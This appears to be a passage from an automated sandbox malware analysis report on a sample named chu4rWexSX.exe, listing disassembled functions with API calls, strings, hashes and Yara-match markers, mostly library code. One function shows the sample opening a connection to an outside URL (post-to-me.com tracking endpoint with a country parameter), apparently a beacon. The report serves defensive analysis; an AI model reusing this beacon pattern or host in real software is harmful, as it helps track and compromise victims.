API ID: Gdip$Gdiplus$AllocBitmapCreateFileFromImageSaveShutdownStartup
String ID:
API String ID: 2357751836-0
Opcode ID: 9370e3a628f748ce145c51507c346c3a9f78214b403eda473eb1dcfc3971c320
Instruction ID: cb0b191c8118ed406d262bebb347a54ca0335822b0d6e392122ee78f31d6eae8
Opcode Fuzzy Hash: 9370e3a628f748ce145c51507c346c3a9f78214b403eda473eb1dcfc3971c320
Instruction Fuzzy Hash: FE2162B5A0121AAFCB00DFA5DC849AFBBB9FF89740B104536E906E3290D774D951CBE4

Function 0076EE75 Relevance: 7.6, APIs: 5, Instructions: 53COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(0074AB22,0074AB22,00000002,0076B9E5,00770601,00000000,?,007636A5,00000002,00000000,00000000,00000000,?,00749FD3,0074AB22,00000004), ref: 0076EE7A
_free.LIBCMT ref: 0076EEAF
_free.LIBCMT ref: 0076EED6
SetLastError.KERNEL32(00000000,?,0074AB22), ref: 0076EEE3
SetLastError.KERNEL32(00000000,?,0074AB22), ref: 0076EEEC

Memory Dump Source

Source File: 00000000.00000002.3929107042.0000000000740000.00000040.00001000.00020000.00000000.sdmp, Offset: 00740000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_740000_chu4rWexSX.jbxd

Yara matches

Similarity

API ID: ErrorLast$_free
String ID:
API String ID: 3170660625-0
Opcode ID: 3b0bb24d7949a93bf262782ab2cd7d29b830be64ea05bbe9858851d8040037d3
Instruction ID: 9b80e10d294363f7cd95e4699e37403f32c78ad7a27aae50791cc031f682e6e3
Opcode Fuzzy Hash: 3b0bb24d7949a93bf262782ab2cd7d29b830be64ea05bbe9858851d8040037d3
Instruction Fuzzy Hash: 1601F93E541701ABEB1267346C8993B265D9BD27A27714539FC1BA32C2EEBE8C028170

Function 0042EC0E Relevance: 7.6, APIs: 5, Instructions: 53COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,0042B77E,00431A2C,?,0042EBB8,00000001,00000364,?,0042AC95,00454460,00000010), ref: 0042EC13
_free.LIBCMT ref: 0042EC48
_free.LIBCMT ref: 0042EC6F
SetLastError.KERNEL32(00000000), ref: 0042EC7C
SetLastError.KERNEL32(00000000), ref: 0042EC85

Memory Dump Source

Source File: 00000000.00000002.3928743167.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_chu4rWexSX.jbxd

Similarity

API ID: ErrorLast$_free
String ID:
API String ID: 3170660625-0
Opcode ID: b8fa4d017a6ede24f91ac19dd6614d9cff5e38bdce806f9b5c7aaf58d8d388ab
Instruction ID: 8af43ba2c6f9aa91691e8b2700d1ff3c70c790c0b8009b1e3ad88ee5e129583e
Opcode Fuzzy Hash: b8fa4d017a6ede24f91ac19dd6614d9cff5e38bdce806f9b5c7aaf58d8d388ab
Instruction Fuzzy Hash: 5001493630062067D61667B77E86E2B172DAFC2379BA0053BF81493292DE7DCC02811D

Function 0076EDF1 Relevance: 7.6, APIs: 5, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,0076769C,?,00000000,?,00769A96,007421C8,00000000,?,0044EEE0), ref: 0076EDF5
_free.LIBCMT ref: 0076EE28
_free.LIBCMT ref: 0076EE50
SetLastError.KERNEL32(00000000,00000000,?,0044EEE0), ref: 0076EE5D
SetLastError.KERNEL32(00000000,00000000,?,0044EEE0), ref: 0076EE69

Memory Dump Source

Source File: 00000000.00000002.3929107042.0000000000740000.00000040.00001000.00020000.00000000.sdmp, Offset: 00740000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_740000_chu4rWexSX.jbxd

Yara matches

Similarity

API ID: ErrorLast$_free
String ID:
API String ID: 3170660625-0
Opcode ID: 80416ded89268a268f8800d8ceb253d7621393ae716c42bcaec2502ca19fcef0
Instruction ID: 81f82e8f8323aa66ac28de20abb5f46230c7276be03f321549050a188a7a0e17
Opcode Fuzzy Hash: 80416ded89268a268f8800d8ceb253d7621393ae716c42bcaec2502ca19fcef0
Instruction Fuzzy Hash: 3DF0CD3E145700A7EA1233747C0DB5B16599BD2762F254479FD1AA21D2EE7F8C02C175

Function 0042EB8A Relevance: 7.6, APIs: 5, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,0042AC95,00454460,00000010), ref: 0042EB8E
_free.LIBCMT ref: 0042EBC1
_free.LIBCMT ref: 0042EBE9
SetLastError.KERNEL32(00000000), ref: 0042EBF6
SetLastError.KERNEL32(00000000), ref: 0042EC02

Memory Dump Source

Source File: 00000000.00000002.3928743167.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_chu4rWexSX.jbxd

Similarity

API ID: ErrorLast$_free
String ID:
API String ID: 3170660625-0
Opcode ID: 186128fb1f80f7a377660dbd8c70cf267faa05f60f50c683518ff9237cd87038
Instruction ID: 194de20e9792b2684483c0893c774b1080c1e54555e98cae92f7692c98453fcc
Opcode Fuzzy Hash: 186128fb1f80f7a377660dbd8c70cf267faa05f60f50c683518ff9237cd87038
Instruction Fuzzy Hash: 9DF0F9353046206BCA167727BC0AF5B1A199FC2725FA1052BF81592292EE6DCC02912D

Function 00754827 Relevance: 7.5, APIs: 5, Instructions: 41COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0074F644: TlsGetValue.KERNEL32(?,?,0074DA62,0074FB6F,00000000,?,0074DA40,?,?,?,00000000,?,00000000), ref: 0074F64A

Concurrency::details::InternalContextBase::LeaveScheduler.LIBCONCRT ref: 00754851

Part of subcall function 0075DEBA: Concurrency::details::InternalContextBase::FindWorkForBlockingOrNesting.LIBCONCRT ref: 0075DEE1
Part of subcall function 0075DEBA: Concurrency::details::InternalContextBase::PrepareForUse.LIBCONCRT ref: 0075DEFA
Part of subcall function 0075DEBA: Concurrency::details::VirtualProcessor::MakeAvailable.LIBCONCRT ref: 0075DF70
Part of subcall function 0075DEBA: Concurrency::details::SchedulerBase::DeferredGetInternalContext.LIBCONCRT ref: 0075DF78

Concurrency::details::SchedulerBase::ReferenceForAttach.LIBCONCRT ref: 0075485F
Concurrency::details::SchedulerBase::GetExternalContext.LIBCMT ref: 00754869
Concurrency::details::ContextBase::PushContextToTls.LIBCMT ref: 00754873
__CxxThrowException@8.LIBVCRUNTIME ref: 00754891

Memory Dump Source

Source File: 00000000.00000002.3929107042.0000000000740000.00000040.00001000.00020000.00000000.sdmp, Offset: 00740000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_740000_chu4rWexSX.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Base::Context$InternalScheduler$AttachAvailableBlockingDeferredException@8ExternalFindLeaveMakeNestingPrepareProcessor::PushReferenceThrowValueVirtualWork
String ID:
API String ID: 4266703842-0
Opcode ID: 28ff8952438536a1772b0f2c07e88c577316cc2316fdace72fa5eb4e7b80fb42
Instruction ID: 8b9ee8c24603028c0932be0fefb07ff4e9c7052886c9b65b63f843bd28b84aac
Opcode Fuzzy Hash: 28ff8952438536a1772b0f2c07e88c577316cc2316fdace72fa5eb4e7b80fb42
Instruction Fuzzy Hash: 63F04675A00518B7CF26B764981A8EDBB2A8F90712B004129FC0153252EFBCAE5EC7C6

Function 004145C0 Relevance: 7.5, APIs: 5, Instructions: 41COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0040F3DD: TlsGetValue.KERNEL32(?,?,0040D7FB,0040F908,00000000,?,0040D7D9,?,?,?,00000000,?,00000000), ref: 0040F3E3

Concurrency::details::InternalContextBase::LeaveScheduler.LIBCONCRT ref: 004145EA

Part of subcall function 0041DC53: Concurrency::details::InternalContextBase::FindWorkForBlockingOrNesting.LIBCONCRT ref: 0041DC7A
Part of subcall function 0041DC53: Concurrency::details::InternalContextBase::PrepareForUse.LIBCONCRT ref: 0041DC93
Part of subcall function 0041DC53: Concurrency::details::VirtualProcessor::MakeAvailable.LIBCONCRT ref: 0041DD09
Part of subcall function 0041DC53: Concurrency::details::SchedulerBase::DeferredGetInternalContext.LIBCONCRT ref: 0041DD11

Concurrency::details::SchedulerBase::ReferenceForAttach.LIBCONCRT ref: 004145F8
Concurrency::details::SchedulerBase::GetExternalContext.LIBCMT ref: 00414602
Concurrency::details::ContextBase::PushContextToTls.LIBCMT ref: 0041460C
__CxxThrowException@8.LIBVCRUNTIME ref: 0041462A

Memory Dump Source

Source File: 00000000.00000002.3928743167.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_chu4rWexSX.jbxd

Similarity

API ID: Concurrency::details::$Base::Context$InternalScheduler$AttachAvailableBlockingDeferredException@8ExternalFindLeaveMakeNestingPrepareProcessor::PushReferenceThrowValueVirtualWork
String ID:
API String ID: 4266703842-0
Opcode ID: 28ff8952438536a1772b0f2c07e88c577316cc2316fdace72fa5eb4e7b80fb42
Instruction ID: d3d5e42aa277258e184499e7cda03105bcaabd60ae5885d810e6a4e6189f489b
Opcode Fuzzy Hash: 28ff8952438536a1772b0f2c07e88c577316cc2316fdace72fa5eb4e7b80fb42
Instruction Fuzzy Hash: DDF04672A0051877CA25B6A6D8029EEB7295FC0B58B00003FF80063282DF7CDA99CADD

Function 00776D5C Relevance: 7.5, APIs: 5, Instructions: 40COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 00776D74

Part of subcall function 00770381: HeapFree.KERNEL32(00000000,00000000,?,0077700F,?,00000000,?,00000000,?,007772B3,?,00000007,?,?,007776A7,?), ref: 00770397
Part of subcall function 00770381: GetLastError.KERNEL32(?,?,0077700F,?,00000000,?,00000000,?,007772B3,?,00000007,?,?,007776A7,?,?), ref: 007703A9

_free.LIBCMT ref: 00776D86
_free.LIBCMT ref: 00776D98
_free.LIBCMT ref: 00776DAA
_free.LIBCMT ref: 00776DBC

Memory Dump Source

Source File: 00000000.00000002.3929107042.0000000000740000.00000040.00001000.00020000.00000000.sdmp, Offset: 00740000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_740000_chu4rWexSX.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 772640e124aabc4a30a537be6fd81e7da3a167495dde8cd276dc8af6192704d0
Instruction ID: 320a29afb9fa3e4dc777372541d78f623171cd8004f17cddb26619e044d3351c
Opcode Fuzzy Hash: 772640e124aabc4a30a537be6fd81e7da3a167495dde8cd276dc8af6192704d0
Instruction Fuzzy Hash: 1DF01232B14704EB8E30FB59E4C5C1A73EDAA00792BA58969F44CD7655CB78FC818AA4

Function 00436AF5 Relevance: 7.5, APIs: 5, Instructions: 40COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 00436B0D

Part of subcall function 0043011A: RtlFreeHeap.NTDLL(00000000,00000000,?,00436DA8,?,00000000,?,00000000,?,0043704C,?,00000007,?,?,00437440,?), ref: 00430130
Part of subcall function 0043011A: GetLastError.KERNEL32(?,?,00436DA8,?,00000000,?,00000000,?,0043704C,?,00000007,?,?,00437440,?,?), ref: 00430142

_free.LIBCMT ref: 00436B1F
_free.LIBCMT ref: 00436B31
_free.LIBCMT ref: 00436B43
_free.LIBCMT ref: 00436B55

Memory Dump Source

Source File: 00000000.00000002.3928743167.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_chu4rWexSX.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 772640e124aabc4a30a537be6fd81e7da3a167495dde8cd276dc8af6192704d0
Instruction ID: 8ba35f639b5bcc59e93f438a19486d1785d2f2c3ab5d469de374be673337e1d8
Opcode Fuzzy Hash: 772640e124aabc4a30a537be6fd81e7da3a167495dde8cd276dc8af6192704d0
Instruction Fuzzy Hash: D7F06832504214B78528FF59E4D6C17B7D9BA08320FA6591BF01CD7612CB39FC808E6C

Function 00759BCC Relevance: 7.5, APIs: 5, Instructions: 30threadCOMMON

Download Yara Rule

APIs

Concurrency::details::ResourceManager::CurrentSubscriptionLevel.LIBCONCRT ref: 00759BD6
Concurrency::details::SchedulerProxy::DecrementFixedCoreCount.LIBCONCRT ref: 00759C07
GetCurrentThread.KERNEL32 ref: 00759C10
Concurrency::details::SchedulerProxy::DecrementCoreSubscription.LIBCONCRT ref: 00759C23
Concurrency::details::SchedulerProxy::DestroyExecutionResource.LIBCONCRT ref: 00759C2C

Memory Dump Source

Source File: 00000000.00000002.3929107042.0000000000740000.00000040.00001000.00020000.00000000.sdmp, Offset: 00740000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_740000_chu4rWexSX.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Proxy::Scheduler$CoreCurrentDecrementResourceSubscription$CountDestroyExecutionFixedLevelManager::Thread
String ID:
API String ID: 2583373041-0
Opcode ID: 84650c915d2e106121b09c8a6b926245b27275a4e5c0654727400725e9210236
Instruction ID: 18950086d0ba6e3cc04594789403ff0db57599ddd58e0c576b03a07bdc2db5b3
Opcode Fuzzy Hash: 84650c915d2e106121b09c8a6b926245b27275a4e5c0654727400725e9210236
Instruction Fuzzy Hash: AEF08276200500DB8725EF20F6558FA73A6AF84312300461DFA4A06551DE69A80EDBB2

Function 0042E3DA Relevance: 7.5, APIs: 5, Instructions: 30COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 0042E3F8

Part of subcall function 0043011A: RtlFreeHeap.NTDLL(00000000,00000000,?,00436DA8,?,00000000,?,00000000,?,0043704C,?,00000007,?,?,00437440,?), ref: 00430130
Part of subcall function 0043011A: GetLastError.KERNEL32(?,?,00436DA8,?,00000000,?,00000000,?,0043704C,?,00000007,?,?,00437440,?,?), ref: 00430142

_free.LIBCMT ref: 0042E40A
_free.LIBCMT ref: 0042E41D
_free.LIBCMT ref: 0042E42E
_free.LIBCMT ref: 0042E43F

Memory Dump Source

Source File: 00000000.00000002.3928743167.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_chu4rWexSX.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 5f4a0fd41d054a6e339748c950894fb6f424242f91bbcc581637fea950e4f09d
Instruction ID: aca8f67518de44a068bc422f750460037c189a8d2796c155a3cd0e3ccf5701c5
Opcode Fuzzy Hash: 5f4a0fd41d054a6e339748c950894fb6f424242f91bbcc581637fea950e4f09d
Instruction Fuzzy Hash: F8F03AB0805360DB8E89AF25BC524457B61A71A737BD1666BF42457373C73E8C828B8D

Function 00419965 Relevance: 7.5, APIs: 5, Instructions: 30threadCOMMON

Download Yara Rule

APIs

Concurrency::details::ResourceManager::CurrentSubscriptionLevel.LIBCONCRT ref: 0041996F
Concurrency::details::SchedulerProxy::DecrementFixedCoreCount.LIBCONCRT ref: 004199A0
GetCurrentThread.KERNEL32 ref: 004199A9
Concurrency::details::SchedulerProxy::DecrementCoreSubscription.LIBCONCRT ref: 004199BC
Concurrency::details::SchedulerProxy::DestroyExecutionResource.LIBCONCRT ref: 004199C5

Memory Dump Source

Source File: 00000000.00000002.3928743167.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_chu4rWexSX.jbxd

Similarity

API ID: Concurrency::details::$Proxy::Scheduler$CoreCurrentDecrementResourceSubscription$CountDestroyExecutionFixedLevelManager::Thread
String ID:
API String ID: 2583373041-0
Opcode ID: 84650c915d2e106121b09c8a6b926245b27275a4e5c0654727400725e9210236
Instruction ID: 26518bd02ade2f0adc2eca14650af283ed220860e243dd1549643b84c0dbd2d7
Opcode Fuzzy Hash: 84650c915d2e106121b09c8a6b926245b27275a4e5c0654727400725e9210236
Instruction Fuzzy Hash: 97F0A7722115009B8625FF22E6518FB73B5AFC5714300091FE48B46651CF3DECD6DB6A

Function 00742BB5 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 179networkCOMMON

Download Yara Rule

APIs

InternetOpenW.WININET(0044EE38,00000000,00000000,00000000,00000000), ref: 00742BD8

Part of subcall function 007412F7: _wcslen.LIBCMT ref: 007412FE
Part of subcall function 007412F7: _wcslen.LIBCMT ref: 0074131A

InternetOpenUrlW.WININET(00000000,?,00000000,00000000,00000000,00000000), ref: 00742DEB

Strings

&cc=DE, xrefs: 00742D65, 00742D6B, 00742DC8
https://post-to-me.com/track_prt.php?sub=, xrefs: 00742C08, 00742D34, 00742DA3

Memory Dump Source

Source File: 00000000.00000002.3929107042.0000000000740000.00000040.00001000.00020000.00000000.sdmp, Offset: 00740000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_740000_chu4rWexSX.jbxd

Yara matches

Similarity

API ID: InternetOpen_wcslen
String ID: &cc=DE$https://post-to-me.com/track_prt.php?sub=
API String ID: 3381584094-4083784958
Opcode ID: 3ea6247b92d0976e3817e8dda39be9bb0170bd98a543ba270322dcfa1fdb38c8
Instruction ID: b03ae04d3c0b778786f282a5f58990fabb101cefff45e7ff8ff9d8eb052f231f
Opcode Fuzzy Hash: 3ea6247b92d0976e3817e8dda39be9bb0170bd98a543ba270322dcfa1fdb38c8
Instruction Fuzzy Hash: 75511765278344E9E300DFB0BC56B622368FF58712F60243BE608DB2B2E7B58D44871E

Function 0042F8F5 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 124COMMONLIBRARYCODE

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(0000FDE9,00000000,00000000,-00000001,00000000,?,?,?,00000000,00000000,00000000,?,?), ref: 0042FA02
GetLastError.KERNEL32(?,?,00000000,00000000,00000000,?,?,?,?,?,?,00000000,00001000,?), ref: 0042FA0E
__dosmaperr.LIBCMT ref: 0042FA15

Strings

qwB, xrefs: 0042F8F7

Memory Dump Source

Source File: 00000000.00000002.3928743167.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_chu4rWexSX.jbxd

Similarity

API ID: ByteCharErrorLastMultiWide__dosmaperr
String ID: qwB
API String ID: 2434981716-1390286072
Opcode ID: 38a8bd71ff75772b6996eb17657eaef6fbd490782abfe003fd9e7334627a92ea
Instruction ID: 64872042f2aec175c35aa1aea857fa2e74fde91ae8073598d6f00dc367d54ea2
Opcode Fuzzy Hash: 38a8bd71ff75772b6996eb17657eaef6fbd490782abfe003fd9e7334627a92ea
Instruction Fuzzy Hash: 88415A70704165BFDB248F28E880B7E3FB5DB86304BA441BBE88987642D6358D86D79C

Function 0076C62F Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 115COMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(00000000,C:\Users\user\Desktop\chu4rWexSX.exe,00000104), ref: 0076C66A
_free.LIBCMT ref: 0076C735
_free.LIBCMT ref: 0076C73F

Strings

C:\Users\user\Desktop\chu4rWexSX.exe, xrefs: 0076C661, 0076C668, 0076C697, 0076C6CF

Memory Dump Source

Source File: 00000000.00000002.3929107042.0000000000740000.00000040.00001000.00020000.00000000.sdmp, Offset: 00740000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_740000_chu4rWexSX.jbxd

Yara matches

Similarity

API ID: _free$FileModuleName
String ID: C:\Users\user\Desktop\chu4rWexSX.exe
API String ID: 2506810119-4259913974
Opcode ID: 2490f6d85a7dacca3b42f6b0ea048d084214e3ff3826d3a7afbd0817eb3015ad
Instruction ID: f2ef5174dddc11f0359b60de7737ae06dfe5e16d53a6fadad99a4e72fefbb3df
Opcode Fuzzy Hash: 2490f6d85a7dacca3b42f6b0ea048d084214e3ff3826d3a7afbd0817eb3015ad
Instruction Fuzzy Hash: 3631B071A04248EFCB22DF99CC858AEBBFCEB85350B104066EC4697212D7789E45CBA4

Function 0042C3C8 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 115COMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(00000000,C:\Users\user\Desktop\chu4rWexSX.exe,00000104), ref: 0042C403
_free.LIBCMT ref: 0042C4CE
_free.LIBCMT ref: 0042C4D8

Strings

C:\Users\user\Desktop\chu4rWexSX.exe, xrefs: 0042C3FA, 0042C401, 0042C430, 0042C468

Memory Dump Source

Source File: 00000000.00000002.3928743167.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_chu4rWexSX.jbxd

Similarity

API ID: _free$FileModuleName
String ID: C:\Users\user\Desktop\chu4rWexSX.exe
API String ID: 2506810119-4259913974
Opcode ID: c689dd25a216cbd2810efc3e5d046765f0cce950db3011ae1c114f6d80ce13cd
Instruction ID: 5d5bd56ec8890bfdfce01140b9d10daf38c31c3a9ed2a2342d55d5eddc8c66d7
Opcode Fuzzy Hash: c689dd25a216cbd2810efc3e5d046765f0cce950db3011ae1c114f6d80ce13cd
Instruction Fuzzy Hash: 13316571B04228EBCB21EF95ACC5DAFBBFCEF85314B50406BE90497211D6788E45CB99

Function 0077737E Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 49COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 007773AD

Strings

kD, xrefs: 00777391

Memory Dump Source

Source File: 00000000.00000002.3929107042.0000000000740000.00000040.00001000.00020000.00000000.sdmp, Offset: 00740000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_740000_chu4rWexSX.jbxd

Yara matches

Similarity

API ID: _free
String ID: kD
API String ID: 269201875-327787385
Opcode ID: f0803c4a2534041ec40fca8936d9ffc4fb3fc2dc1b26e0596172acca7b6f1e12
Instruction ID: a41ebe0017b87e10d6273a171405d357364713f56786afca2d1f98e99f9b5a3b
Opcode Fuzzy Hash: f0803c4a2534041ec40fca8936d9ffc4fb3fc2dc1b26e0596172acca7b6f1e12
Instruction Fuzzy Hash: 4DF02D3254C751EBEF1C2631A80AB9B7759DF523F0F20812AF80C661C2DBAD5841D6F5

Function 00760F1F Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

SafeRWList.LIBCONCRT ref: 00760FA9

Strings

{B, xrefs: 00760F22

Memory Dump Source

Source File: 00000000.00000002.3929107042.0000000000740000.00000040.00001000.00020000.00000000.sdmp, Offset: 00740000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_740000_chu4rWexSX.jbxd

Yara matches

Similarity

API ID: ListSafe
String ID: {B
API String ID: 436756528-2325282898
Opcode ID: cfbbbf79981f8d87eab3c80e5aee88f843eb9e2301ab3d4428c237ccb60750b3
Instruction ID: b41216e2edeea32761cfa7b0ec3670efbdf268e3b066be2da8267995090ba5ff
Opcode Fuzzy Hash: cfbbbf79981f8d87eab3c80e5aee88f843eb9e2301ab3d4428c237ccb60750b3
Instruction Fuzzy Hash: 0201F93151420AEBC718DF14D885FEAF7B8FF41314F2481A6E8065B552D7B9E98ACBD0

Function 0074A778 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 48COMMON

Download Yara Rule

APIs

Concurrency::details::_NonReentrantPPLLock::_Scoped_lock::_Scoped_lock.LIBCONCRT ref: 0074EA49

Part of subcall function 0074D958: Concurrency::details::LockQueueNode::LockQueueNode.LIBCONCRT ref: 0074D96B
Part of subcall function 0074D958: Concurrency::critical_section::_Acquire_lock.LIBCONCRT ref: 0074D975

Concurrency::details::EventWaitNode::Satisfy.LIBCONCRT ref: 0074EA62
Concurrency::details::_ReaderWriterLock::_Scoped_lock::~_Scoped_lock.LIBCONCRT ref: 0074EAA8

Strings

^C, xrefs: 0074EA31

Memory Dump Source

Source File: 00000000.00000002.3929107042.0000000000740000.00000040.00001000.00020000.00000000.sdmp, Offset: 00740000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_740000_chu4rWexSX.jbxd

Yara matches

Similarity

API ID: Concurrency::details::Concurrency::details::_LockLock::_Node::QueueScoped_lock$Acquire_lockConcurrency::critical_section::_EventNodeReaderReentrantSatisfyScoped_lock::_Scoped_lock::~_WaitWriter
String ID: ^C
API String ID: 2524916244-3215044139
Opcode ID: a5622cca7a33b41db1264c8afb5d910ae115deee28c1169d813b59cfe28d47f4
Instruction ID: df66109b2713b207f1e83f7f6878dee2958536f490b5152d5a4a33016a7f48bc
Opcode Fuzzy Hash: a5622cca7a33b41db1264c8afb5d910ae115deee28c1169d813b59cfe28d47f4
Instruction Fuzzy Hash: A0019E3AA00210CBCF16EB60C8987BDB372FF89320F198455E8516B385DB7CAD01CB91

Function 004096F8 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 37COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBVCRUNTIME ref: 00409757

Strings

ios_base::eofbit set, xrefs: 00409729
ios_base::failbit set, xrefs: 00409724
ios_base::badbit set, xrefs: 0040971A, 0040973A

Memory Dump Source

Source File: 00000000.00000002.3928743167.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_chu4rWexSX.jbxd

Similarity

API ID: Exception@8Throw
String ID: ios_base::badbit set$ios_base::eofbit set$ios_base::failbit set
API String ID: 2005118841-1866435925
Opcode ID: a0708596d82ee8874daba655b5953c9012597ddf10f48de3258a01104d5aab46
Instruction ID: decdbeb8c2345108d32890866708bc3d65a5f42ff46dcda52067884d5390e34e
Opcode Fuzzy Hash: a0708596d82ee8874daba655b5953c9012597ddf10f48de3258a01104d5aab46
Instruction Fuzzy Hash: A6F0F673914218EBDB44ED54CC12BAA33985B00354F54807BAD45BB1C3E67CAD05CB98

Function 0077D5A1 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 34COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 0077D5A8
make_shared.LIBCPMT ref: 0077D5F3

Strings

MOC, xrefs: 0077D5CB
RCC, xrefs: 0077D5DA

Memory Dump Source

Source File: 00000000.00000002.3929107042.0000000000740000.00000040.00001000.00020000.00000000.sdmp, Offset: 00740000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_740000_chu4rWexSX.jbxd

Yara matches

Similarity

API ID: H_prolog3_catchmake_shared
String ID: MOC$RCC
API String ID: 3472968176-2084237596
Opcode ID: ae7119942de878511bd1d3dca8c4c77cb4135456c25c274c17b32e2e800be162
Instruction ID: ca5eb78814b8124945ae0e75ef76f28c540294d231d46e4bbbbeaef903bccb0d
Opcode Fuzzy Hash: ae7119942de878511bd1d3dca8c4c77cb4135456c25c274c17b32e2e800be162
Instruction Fuzzy Hash: FAF0E770904214EFCF22EB68C55995D7A74AF17780F4580A1F809AB221CBBD9E45CFA2

Function 00420F67 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 31COMMON

Download Yara Rule

APIs

Concurrency::details::SchedulerProxy::DestroyVirtualProcessorRoot.LIBCONCRT ref: 00420F99
std::invalid_argument::invalid_argument.LIBCONCRT ref: 00420FAB
__CxxThrowException@8.LIBVCRUNTIME ref: 00420FB9

Strings

pScheduler, xrefs: 00420FA3

Memory Dump Source

Source File: 00000000.00000002.3928743167.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_chu4rWexSX.jbxd

Similarity

API ID: Concurrency::details::DestroyException@8ProcessorProxy::RootSchedulerThrowVirtualstd::invalid_argument::invalid_argument
String ID: pScheduler
API String ID: 1381464787-923244539
Opcode ID: cf3372ea46439b3cd42315dda39ec21f9aab03c16b88858d1215235245bbc13e
Instruction ID: 684648312ed42db1bd1c9b38f3543648076f670545f343470ffc120c1624abe1
Opcode Fuzzy Hash: cf3372ea46439b3cd42315dda39ec21f9aab03c16b88858d1215235245bbc13e
Instruction Fuzzy Hash: 88F02730B0022467C728FF50E992E9EB3A85E00745754803FB40263683DBBCAA09CA8D

Function 0041B2BD Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 28threadCOMMON

Download Yara Rule

APIs

Concurrency::details::FreeThreadProxy::ReturnIdleProxy.LIBCONCRT ref: 0041B2DF
std::invalid_argument::invalid_argument.LIBCONCRT ref: 0041B2F2
__CxxThrowException@8.LIBVCRUNTIME ref: 0041B300

Strings

pContext, xrefs: 0041B2EA

Memory Dump Source

Source File: 00000000.00000002.3928743167.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_chu4rWexSX.jbxd

Similarity

API ID: Concurrency::details::Exception@8FreeIdleProxyProxy::ReturnThreadThrowstd::invalid_argument::invalid_argument
String ID: pContext
API String ID: 1990795212-2046700901
Opcode ID: b0ac2d872d1798fcf86531029e65c06c27d7082b551ccf31d31fbe511deefbc0
Instruction ID: 88da52645aea160c43006da8d4b74bd01daebb79f54762ada59be64fe21e27f6
Opcode Fuzzy Hash: b0ac2d872d1798fcf86531029e65c06c27d7082b551ccf31d31fbe511deefbc0
